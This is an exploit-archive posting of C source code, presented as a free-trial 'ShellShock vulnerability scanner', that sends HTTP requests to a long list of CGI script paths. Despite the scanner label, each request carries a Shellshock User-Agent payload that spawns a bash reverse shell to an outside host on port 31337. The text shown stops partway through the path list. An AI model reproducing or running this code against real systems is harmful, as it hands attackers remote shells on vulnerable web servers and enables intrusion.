Advanced Information Security Shellshock Scanner



EKU-ID: 4288 CVE: OSVDB-ID:
Author: Nicholas Lemonias Published: 2014-10-08 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/**************************************************************************************************************************************************
*                                                  FREE TRIAL -  LIMITED EDITION - ShellShock                                                     *
***************************************************************************************************************************************************
*   
*    Posted Oct, 03 2014
*    Authored by Nicholas Lemonias
*                                 
*  $$$$$$\        $$\                                                         $$\                                         
* $$  __$$\       $$ |                                                        $$ |                        
* $$ /  $$ | $$$$$$$ |$$\    $$\ $$$$$$\  $$$$$$$\   $$$$$$$\  $$$$$$\   $$$$$$$ |                        
* $$$$$$$$ |$$  __$$ |\$$\  $$  |\____$$\ $$  __$$\ $$  _____|$$  __$$\ $$  __$$ |                        
* $$  __$$ |$$ /  $$ | \$$\$$  / $$$$$$$ |$$ |  $$ |$$ /      $$$$$$$$ |$$ /  $$ |                        
* $$ |  $$ |$$ |  $$ |  \$$$  / $$  __$$ |$$ |  $$ |$$ |      $$   ____|$$ |  $$ |                        
* $$ |  $$ |\$$$$$$$ |   \$  /  \$$$$$$$ |$$ |  $$ |\$$$$$$$\ \$$$$$$$\ \$$$$$$$ |                        
* \__|  \__| \_______|    \_/    \_______|\__|  \__| \_______| \_______| \_______|                        
*                                                                                                         
*                                                                                                         
*                                                                                                         
* $$$$$$\            $$$$$$\                                              $$\     $$\                     
* \_$$  _|          $$  __$$\                                             $$ |    \__|                    
*   $$ |  $$$$$$$\  $$ /  \__|$$$$$$\   $$$$$$\  $$$$$$\$$$$\   $$$$$$\ $$$$$$\   $$\  $$$$$$\  $$$$$$$\  
*   $$ |  $$  __$$\ $$$$\    $$  __$$\ $$  __$$\ $$  _$$  _$$\  \____$$\\_$$  _|  $$ |$$  __$$\ $$  __$$\ 
*   $$ |  $$ |  $$ |$$  _|   $$ /  $$ |$$ |  \__|$$ / $$ / $$ | $$$$$$$ | $$ |    $$ |$$ /  $$ |$$ |  $$ |
*   $$ |  $$ |  $$ |$$ |     $$ |  $$ |$$ |      $$ | $$ | $$ |$$  __$$ | $$ |$$\ $$ |$$ |  $$ |$$ |  $$ |
* $$$$$$\ $$ |  $$ |$$ |     \$$$$$$  |$$ |      $$ | $$ | $$ |\$$$$$$$ | \$$$$  |$$ |\$$$$$$  |$$ |  $$ |
* \______|\__|  \__|\__|      \______/ \__|      \__| \__| \__| \_______|  \____/ \__| \______/ \__|  \__|
*                                                                                       
*                                                                                                         
*                                                                                                         
*   $$$$$$\                                          $$\   $$\                                            
* $$  __$$\                                         \__|  $$ |                                            
* $$ /  \__| $$$$$$\   $$$$$$$\ $$\   $$\  $$$$$$\  $$\ $$$$$$\   $$\   $$\                               
* \$$$$$$\  $$  __$$\ $$  _____|$$ |  $$ |$$  __$$\ $$ |\_$$  _|  $$ |  $$ |                              
*  \____$$\ $$$$$$$$ |$$ /      $$ |  $$ |$$ |  \__|$$ |  $$ |    $$ |  $$ |                              
* $$\   $$ |$$   ____|$$ |      $$ |  $$ |$$ |      $$ |  $$ |$$\ $$ |  $$ |                              
* \$$$$$$  |\$$$$$$$\ \$$$$$$$\ \$$$$$$  |$$ |      $$ |  \$$$$  |\$$$$$$$ |                              
*  \______/  \_______| \_______| \______/ \__|      \__|   \____/  \____$$ |                              
*                                                                 $$\   $$ | 
*
*               VULNERABILITY SCANNER
*
*  All Rights Reserved (2014) (c)
*
*****************************************************************************************************************************************************
*    This is proprietary source code material of Advanced Information Security Corporation.                                      *
*       FREE TRIAL - DEMO VERSION, AIS ShellShock Vulnerability Scanner - All Rights Reserved, 2009-2014 (c)                             *                                                                                        
*                                                                                                                                                   *
*****************************************************************************************************************************************************
*
*/                                                                 

 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#include <arpa/inet.h>
#include <sys/errno.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 80

#define TIMEOUT 3


char server[500];
char *result;

static int i,x,y,z;

char *buff[371];
char *bug[371];

char buffers[1500];


char A(char *);
char B(char *);
char C(char *);
char D(char *);

static char a[4],b[8],c[12],ip[17];
void shell(void);

void info(){

printf("**********************************************************************\n");
printf("(Advanced Information Security Corporation, 2014 - All Rights Reserved\n");
printf("**********************************************************************\n");                               
printf("./shellshock <Start_Range> <End_Range>\n\n");

}

/* try */

void try(char *_ipaddress)
{
  static int sockfd,softxor;

  int numbytes = 0 , xorl;
  struct sockaddr_in remote;
  fd_set wset;
  fd_set rset;

  struct timeval tv;
 
  char *IP = _ipaddress;
  char *useragent = "() { :; }; /bin/bash -i >& /dev/tcp/your.domain.com/31337 0<&1 2>&1";
  for (i=1;i<371;i++)  
  {
 
  sockfd = socket(AF_INET,SOCK_STREAM,0);
 
  if (sockfd == -1)
  {
    perror("sockfd creation error");
    return;
  } 
  remote.sin_port = htons(PORT);
  remote.sin_addr.s_addr = inet_addr(IP);
  remote.sin_family= AF_INET;
  memset(remote.sin_zero,0,sizeof(remote.sin_zero));

  int res = connect(sockfd,(struct sockaddr *)&remote,sizeof(struct sockaddr_in));
  if (res == -1)
    return;

    printf("\n\n\n %d-th session... \n", i);
    char request_msg[512];
    snprintf(request_msg, sizeof(request_msg), buff[i], useragent);
    printf("requested message is below \n %s\n", request_msg);
    send(sockfd, request_msg, strlen(request_msg), 0);
    int cnt = recv(sockfd, buffers, sizeof(buffers), 0);

    if (!cnt)   perror("recv()"); 
    buffers[cnt]=0;
    printf("first part of resonse message is below \n %s\n",buffers );
    
    if ( strstr(buffers, "404")) fprintf(stdout, "[404] False Positive - Not Found - Couldn't find the requested file\n\a");
    if ( strstr(buffers, "202")) fprintf(stdout, "[202] Detected Vulnerable Script: %s \n\a", bug[i]);
    if ( strstr(buffers, "401")) fprintf(stdout, "[401] Unauthorized Access: Page cannot be displayed\n\a");
    if ( strstr(buffers, "500")) fprintf(stdout, "[500] Internal Server Error - Couldn't recognise the request or server error occured.\n\a");
    if ( strstr(buffers, "303")) fprintf(stdout, "[303] Temporary Redirect - The requested resource is temporary under a different URL\n\a");
    close(sockfd);
  }
 
  fprintf(stdout, "Scan for Host: %s has now been completed. \n\a", inet_ntoa(remote.sin_addr));
       
 }

void prepare()
{
  buff[1] = "GET /_mt/mt.cgi HTTP/1.0\nUser-Agent: %s\n\n";
  buff[2] = "GET /admin.cgi HTTP/1.0\nUser-Agent: %s\n\n";
  buff[3] = "GET /administrator.cgi HTTP/1.0\nUser-Agent: %s\n\n";
  buff[4] = "GET /agora.cgi HTTP/1.0\nUser-Agent: %s\n\n";
  buff[5] = "GET /aktivate/cgi-bin/catgy.cgi HTTP/1.0\nUser-Agent: %s\n\n";
  buff[6] = "GET /analyse.cgi HTTP/1.0\nUser-Agent: %s\n\n";
  buff[7] = "GET /apps/web/vs_diag.cgi HTTP/1.0\nUser-Agent: %s\n\n";
  buff[8] = "GET /axis-cgi/buffer/command.cgi HTTP/1.0\nUser-Agent: %s\n\n";
  buff[9] = "GET /bandwidth/index.cgi HTTP/1.0\nUser-Agent: %s\n\n";
  buff[10] = "GET /bigconf.cgi HTTP/1.0\nUser-Agent: %s\n\n";
  buff[11] = "GET /cart.cgi HTTP/1.0\nUser-Agent: %s\n\n";
  buff[12] = "GET /cartcart.cgi HTTP/1.0\nUser-Agent: %s\n\n";
  buff[13] = "GET /ccbill/whereami.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[14] = "GET /cgi-bin/status HTTP/1.0\nUser-Agent:%s\n\n";
  buff[15] = "GET /cgi-bin-sdb/printenv HTTP/1.0\nUser-Agent:%s\n\n";
  buff[16] = "GET /cgi-bin/.cobalt/alert/service.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[17] = "GET /cgi-bin/.cobalt/message/message.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[18] = "GET /cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[19] = "GET /cgi-bin/.namazu.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[20] = "GET /cgi-bin/14all-1.1.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[21] = "GET /cgi-bin/14all.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[22] = "GET /cgi-bin/a1disp3.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[23] = "GET /cgi-bin/a1stats/a1disp3.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[24] = "GET /cgi-bin/a1stats/a1disp4.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[25] = "GET /cgi-bin/add_ftp.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[26] = "GET /cgi-bin/addbanner.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[27] = "GET /cgi-bin/adduser.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[28] = "GET /cgi-bin/admin.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[29] = "GET /cgi-bin/admin.pl HTTP/1.0\nUser-Agent:%s\n\n";
  buff[30] = "GET /cgi-bin/admin/admin.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[31] = "GET /cgi-bin/admin/setup.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[32] = "GET /cgi-bin/adminhot.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[33] = "GET /cgi-bin/adminwww.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[34] = "GET /cgi-bin/af.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[35] = "GET /cgi-bin/aglimpse.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[36] = "GET /cgi-bin/alienform.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[37] = "GET /cgi-bin/AnyBoard.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[38] = "GET /cgi-bin/architext_query.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[39] = "GET /cgi-bin/astrocam.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[40] = "GET /cgi-bin/AT-admin.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[41] = "GET /cgi-bin/AT-generate.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[42] = "GET /cgi-bin/auction/auction.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[43] = "GET /cgi-bin/auktion.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[44] = "GET /cgi-bin/ax-admin.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[45] = "GET /cgi-bin/ax.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[46] = "GET /cgi-bin/axs.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[47] = "GET /cgi-bin/badmin.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[48] = "GET /cgi-bin/banner.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[49] = "GET /cgi-bin/bannereditor.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[50] = "GET /cgi-bin/bb-ack.sh HTTP/1.0\nUser-Agent:%s\n\n";
  buff[51] = "GET /cgi-bin/bb-hist.sh HTTP/1.0\nUser-Agent:%s\n\n";
  buff[52] = "GET /cgi-bin/bb-histlog.sh HTTP/1.0\nUser-Agent:%s\n\n";
  buff[53] = "GET /cgi-bin/bb-hostsvc.sh HTTP/1.0\nUser-Agent:%s\n\n";
  buff[54] = "GET /cgi-bin/bb-rep.sh HTTP/1.0\nUser-Agent:%s\n\n";
  buff[55] = "GET /cgi-bin/bb-replog.sh HTTP/1.0\nUser-Agent:%s\n\n";
  buff[56] = "GET /cgi-bin/bbs_forum.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[57] = "GET /cgi-bin/bigconf.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[58] = "GET /cgi-bin/bizdb1-search.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[59] = "GET /cgi-bin/blog/mt-check.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[60] = "GET /cgi-bin/blog/mt-load.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[61] = "GET /cgi-bin/bnbform.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[62] = "GET /cgi-bin/book.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[63] = "GET /cgi-bin/boozt/admin/index.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[64] = "GET /cgi-bin/bsguest.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[65] = "GET  /cgi-bin/bslist.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[66] = "GET  /cgi-bin/build.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[67] = "GET  cgi-bin/bulk/bulk.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[68] = "GET /cgi-bin/c_download.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[69] = "GET /cgi-bin/cached_feed.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[70] = "GET /cgi-bin/cachemgr.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[71] = "GET /cgi-bin/calendar/index.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[72] = "GET /cgi-bin/cartmanager.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[73] = "GET /cgi-bin/cbmc/forums.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[74] = "GET /cgi-bin/ccvsblame.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[75] = "GET /cgi-bin/cgforum.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[76] = "GET /cgi-bin/cgi_process HTTP/1.0\nUser-Agent:%s\n\n";
  buff[77] = "GET /cgi-bin/classified.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[78] = "GET /cgi-bin/classifieds.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[79] = "GET /cgi-bin/classifieds/classifieds.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[80] = "GET /cgi-bin/classifieds/index.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[81] = "GET /cgi-bin/commandit.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[82] = "GET /cgi-bin/commerce.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[83] = "GET /cgi-bin/common/listrec.pl HTTP/1.0\nUser-Agent:%s\n\n";
  buff[84] = "GET /cgi-bin/compatible.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[85] = "GET /cgi-bin/Count.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[86] = "GET /cgi-bin/csChatRBox.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[87] = "GET /cgi-bin/csGuestBook.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[88] = "GET /cgi-bin/csLiveSupport.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[89] = "GET /cgi-bin/CSMailto.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[90] = "GET /cgi-bin/CSMailto/CSMailto.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[91] = "GET /cgi-bin/csNews.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[92] = "GET /cgi-bin/csNewsPro.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[93] = "GET /cgi-bin/csPassword.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[94] = "GET /cgi-bin/csPassword/csPassword.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[95] = "GET /cgi-bin/csSearch.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[96] = "GET /cgi-bin/csv_db.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[97] = "GET /cgi-bin/cvsblame.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[98] = "GET /cgi-bin/cvslog.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[99] = "GET /cgi-bin/cvsquery.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[100] = "GET /cgi-bin/cvsqueryform.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[101] = "GET /cgi-bin/day5datacopier.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[102] = "GET /cgi-bin/day5datanotifier.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[103] = "GET /cgi-bin/db_manager.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[104] = "GET /cgi-bin/dbman/db.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[105] = "GET /cgi-bin/dcforum.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[106] = "GET /cgi-bin/dfire.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[107] = "GET /cgi-bin/diagnose.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[108] = "GET /cgi-bin/dig.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[109] = "GET /cgi-bin/directorypro.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[110] = "GET /cgi-bin/download.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[111] = "GET /cgi-bin/emu/html/emumail.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[112] = "GET /cgi-bin/emumail.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[113] = "GET /cgi-bin/emumail/emumail.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[114] = "GET /cgi-bin/enter.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[115] = "GET /cgi-bin/environ.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[116] = "GET /cgi-bin/ezadmin.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[117] = "GET /cgi-bin/ezboard.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[118] = "GET /cgi-bin/ezman.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[119] = "GET /cgi-bin/ezshopper/loadpage.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[120] = "GET /cgi-bin/ezshopper/search.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[121] = "GET /cgi-bin/ezshopper2/loadpage.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[122] = "GET /cgi-bin/ezshopper3/loadpage.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[123] = "GET /cgi-bin/faqmanager.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[124] = "GET /cgi-bin/FileSeek.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[125] = "GET /cgi-bin/FileSeek2.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[126] = "GET /cgi-bin/finger.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[127] = "GET /cgi-bin/flexform.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[128] = "GET /cgi-bin/fom.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[129] = "GET /cgi-bin/fom/fom.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[130] = "GET /cgi-bin/FormHandler.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[131] = "GET /cgi-bin/FormMail.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[132] = "GET /cgi-bin/gbadmin.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[133] = "GET /cgi-bin/gbook/gbook.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[134] = "GET /cgi-bin/generate.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[135] = "GET /cgi-bin/getdoc.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[136] = "GET /cgi-bin/gH.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[137] = "GET /cgi-bin/gm-authors.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[138] = "GET /cgi-bin/gm-cplog.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[139] = "GET /cgi-bin/gm.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[140] = "GET /cgi-bin/guestbook.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[141] = "GET /cgi-bin/handler HTTP/1.0\nUser-Agent:%s\n\n";
  buff[142] = "GET /cgi-bin/handler.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[143] = "GET /cgi-bin/handler/netsonar HTTP/1.0\nUser-Agent:%s\n\n";
  buff[144] = "GET /cgi-bin/hitview.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[145] = "GET /cgi-bin/hsx.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[146] = "GET /cgi-bin/html2chtml.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[147] = "GET /cgi-bin/html2wml.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[148] = "GET /cgi-bin/htsearch.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[149] = "GET /cgi-bin/icat HTTP/1.0\nUser-Agent:%s\n\n";
  buff[150] = "GET /cgi-bin/if/admin/nph-build.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[151] = "GET /cgi-bin/ikonboard/help.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[152] = "GET /cgi-bin/imageFolio.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[153] = "GET /cgi-bin/ImageFolio/admin/admin.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[154] = "GET /cgi-bin/infosrch.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[155] = "GET /cgi-bin/jammail.pl HTTP/1.0\nUser-Agent:%s\n\n";
  buff[156] = "GET /cgi-bin/journal.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[157] = "GET /cgi-bin/lastlines.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[158] = "GET /cgi-bin/loadpage.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[159] = "GET /cgi-bin/log-reader.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[160] = "GET /cgi-bin/login.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[161] = "GET /cgi-bin/logit.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[162] = "GET /cgi-bin/lookwho.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[163] = "GET /cgi-bin/lwgate.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[164] = "GET /cgi-bin/MachineInfo HTTP/1.0\nUser-Agent:%s\n\n";
  buff[165] = "GET /cgi-bin/magiccard.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[166] = "GET /cgi-bin/mail/emumail.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[167] = "GET /cgi-bin/mail/nph-mr.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[168] = "GET /cgi-bin/maillist.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[169] = "GET /cgi-bin/mailnews.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[170] = "GET /cgi-bin/main.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[171] = "GET /cgi-bin/main_menu.pl HTTP/1.0\nUser-Agent:%s\n\n";
  buff[172] = "GET /cgi-bin/man.sh HTTP/1.0\nUser-Agent:%s\n\n";
  buff[173] = "GET /cgi-bin/mini_logger.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[174] = "GET /cgi-bin/mmstdod.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[175] = "GET /cgi-bin/moin.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[176] = "GET /cgi-bin/mojo/mojo.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[177] = "GET /cgi-bin/mrtg.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[178] = "GET /cgi-bin/mt-static/mt-check.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[179] = "GET /cgi-bin/mt-static/mt-load.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[180] = "GET /cgi-bin/mt/mt-check.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[181] = "GET /cgi-bin/mt/mt-load.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[182] = "GET /cgi-bin/musicqueue.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[183] = "GET /cgi-bin/myguestbook.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[184] = "GET /cgi-bin/netauth.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[185] = "GET /cgi-bin/netpad.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[186] = "GET /cgi-bin/newsdesk.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[187] = "GET /cgi-bin/nlog-smb.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[188] = "GET /cgi-bin/nph-emumail.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[189] = "GET /cgi-bin/nph-exploitscanget.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[190] = "GET /cgi-bin/nph-publish.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[191] = "GET /cgi-bin/nph-test.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[192] = "GET /cgi-bin/pagelog.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[193] = "GET /cgi-bin/pbcgi.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[194] = "GET /cgi-bin/perlshop.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[195] = "GET /cgi-bin/pfdispaly.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[196] = "GET /cgi-bin/pfdisplay.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[197] = "GET /cgi-bin/phf.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[198] = "GET /cgi-bin/photo/manage.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[199] = "GET /cgi-bin/photo/protected/manage.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[200] = "GET /cgi-bin/php.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[201] = "GET /cgi-bin/pollit/Poll_It_SSI_v2.0.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[202] = "GET /cgi-bin/pollssi.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[203] = "GET /cgi-bin/postcards.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[204] = "GET /cgi-bin/powerup/r.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[205] = "GET /cgi-bin/printenv HTTP/1.0\nUser-Agent:%s\n\n";
  buff[206] = "GET /cgi-bin/probecontrol.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[207] = "GET /cgi-bin/profile.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[208] = "GET /cgi-bin/publisher/search.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[209] = "GET /cgi-bin/quickstore.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[210] = "GET /cgi-bin/quizme.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[211] = "GET /cgi-bin/r.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[212] = "GET /cgi-bin/ratlog.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[213] = "GET /cgi-bin/register.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[214] = "GET /cgi-bin/replicator/webpage.cgi/ HTTP/1.0\nUser-Agent:%s\n\n";
  buff[215] = "GET /cgi-bin/responder.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[216] = "GET /cgi-bin/robadmin.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[217] = "GET /cgi-bin/robpoll.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[218] = "GET /cgi-bin/sbcgi/sitebuilder.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[219] = "GET /cgi-bin/scoadminreg.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[220] = "GET /cgi-bin/search HTTP/1.0\nUser-Agent:%s\n\n";
  buff[221] = "GET /cgi-bin/search.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[222] = "GET /cgi-bin/search/search.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[223] = "GET /cgi-bin/sendform.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[224] = "GET /cgi-bin/shop.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[225] = "GET /cgi-bin/shopper.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[226] = "GET /cgi-bin/shopplus.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[227] = "GET /cgi-bin/showcheckins.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[228] = "GET /cgi-bin/simplestguest.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[229] = "GET /cgi-bin/simplestmail.cgi HTTP/1.0\nUser-Agent:%s\n\n";
  buff[230] = "GET /cgi-bin/smartsearch.cgi HTTP/1.0\nUser-Agent:%s\n\n";
